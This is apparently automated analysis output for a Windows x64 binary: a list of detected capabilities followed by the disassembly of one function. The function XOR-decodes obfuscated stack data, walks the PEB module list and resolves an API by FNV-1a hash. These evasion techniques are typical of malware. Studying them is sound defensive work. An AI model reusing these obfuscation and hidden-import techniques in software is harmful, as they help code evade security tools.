Function at 0x140010290
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
mov qword [rsp + 8], rcx
push r14
sub rsp, 0x120
movabs rcx, 0x433131e52e746ef3
movabs rdx, 0xd8494a611c769ba
mov qword [rsp + 0x90], rdx
movabs rax, 0x432481d80aac2f35
mov qword [rsp + 0x30], rax
movabs r11, 0x2274a1aa6fda4076
mov qword [rsp + 0x98], rcx
movabs rax, 0x44bac3698cbd1cb8
mov qword [rsp + 0x38], rax
movabs r10, 0x3cdb8549a19d79df
mov qword [rsp + 0x58], rcx
movabs rax, 0xf1fc148d6a627358
mov qword [rsp + 0x40], rax
movabs r9, 0xa1dc66e81c0d3078
mov qword [rsp + 0x70], r11
movabs rax, 0x5ad6daaa39014b0
mov qword [rsp + 0x48], rax
movabs r8, 0x71c409ef83f573d1
vmovups ymm0, ymmword [rsp + 0x30]
vmovups ymmword [rsp + 0xf0], ymm0
mov qword [rsp + 0x78], r10
movabs rax, 0xd8494a611c71bd5
vpxor xmm0, xmm0, xmmword [rsp + 0x70]
mov qword [rsp + 0x50], rax
movabs rax, 0x6dafa6b4e78e083c
mov qword [rsp + 0x60], rax
movabs rax, 0xd03c4edb08767f45
mov qword [rsp + 0x68], rax
movabs rax, 0x1244919a55a22637
mov qword [rsp + 0x70], rax
movabs rax, 0x7a9fbc7e97db3fe8
mov qword [rsp + 0x78], rax
movabs rax, 0x91e604d22c3d0048
vmovdqu xmmword [rsp + 0xf0], xmm0
vmovdqu xmm0, xmmword [rsp + 0x90]
mov qword [rsp + 0x80], r9
mov qword [rsp + 0x88], r8
vmovdqu xmm1, xmmword [rsp + 0x80]
vpxor xmm2, xmm1, xmmword [rsp + 0x100]
vpxor xmm1, xmm0, xmmword [rsp + 0x50]
mov qword [rsp + 0x80], rax
movabs rax, 0x41f439dfb3c543e1
mov qword [rsp + 0x88], rax
movabs rax, 0x37b7a49621f6598a
mov qword [rsp + 0x90], rax
movabs rax, 0x730101d51e445ec3
mov qword [rsp + 0x98], rax
movabs rax, 0x5b9f9684d7be380c
vmovdqu xmmword [rsp + 0x110], xmm1
vmovups ymm1, ymmword [rsp + 0x70]
vmovups ymmword [rsp + 0xb0], ymm1
mov qword [rsp + 0xa0], rax
movabs rax, 0xd00c7eeb38464f7f
vmovdqu xmmword [rsp + 0x100], xmm2
mov qword [rsp + 0xa8], rax
vmovups ymm3, ymmword [rsp + 0x90]
mov rax, qword [0x1401d83d8]
vmovups ymmword [rsp + 0xd0], ymm3
mov qword [rsp + 0x50], rdx
lea rdx, [rsp + 0xf0]
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0xb0]
mov qword [rsp + 0x40], r9
mov qword [rsp + 0x48], r8
vmovdqu xmm2, xmmword [rsp + 0x40]
vpxor xmm0, xmm2, xmmword [rsp + 0xc0]
vmovdqu xmm2, xmmword [rsp + 0x60]
vmovdqu xmmword [rsp + 0xc0], xmm0
vpxor xmm0, xmm2, xmmword [rsp + 0xe0]
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x38], r10
vpxor xmm1, xmm1, xmmword [rsp + 0x30]
vmovdqu xmmword [rsp + 0xb0], xmm1
vpxor xmm1, xmm3, xmmword [rsp + 0x50]
vmovdqu xmmword [rsp + 0xe0], xmm0
vmovdqu xmmword [rsp + 0xd0], xmm1
vzeroupper
call rax
mov rsi, rax
mov qword [rsp + 0x130], 0
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rsp + 0x130]
xor edx, edx
lea r9, [0x1400fa980]
mov qword [rsp + 0x20], rax
mov r8d, 1
lea rcx, [0x1400fa990]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov rcx, qword gs:[0x60]
mov r14d, eax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400105d7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400105d7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rax, [r10 + r9*4]
mov eax, dword [rax + rbx]
add rax, r10
movzx edx, byte [rax]
inc rax
test dl, dl
je 0x1400105d2
nop dword [rax]
movsx edx, dl
lea rax, [rax + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rax - 1]
test dl, dl
jne 0x1400105b0
cmp r8d, 0xf50944d9
je 0x1400105dc
test r9d, r9d
jne 0x140010590
mov rcx, qword [rcx]
jmp 0x140010560
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [0x1401d82b0]
add rax, r10
mov rcx, rsi
call rax
mov ecx, dword [0x1401d82b0]
xor r8d, r8d
mov rdx, rsi
call fcn.14000f990
test r14d, r14d
jne 0x140010634
mov rcx, qword [rsp + 0x130]
mov rdx, rsi
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, qword [rsp + 0x130]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret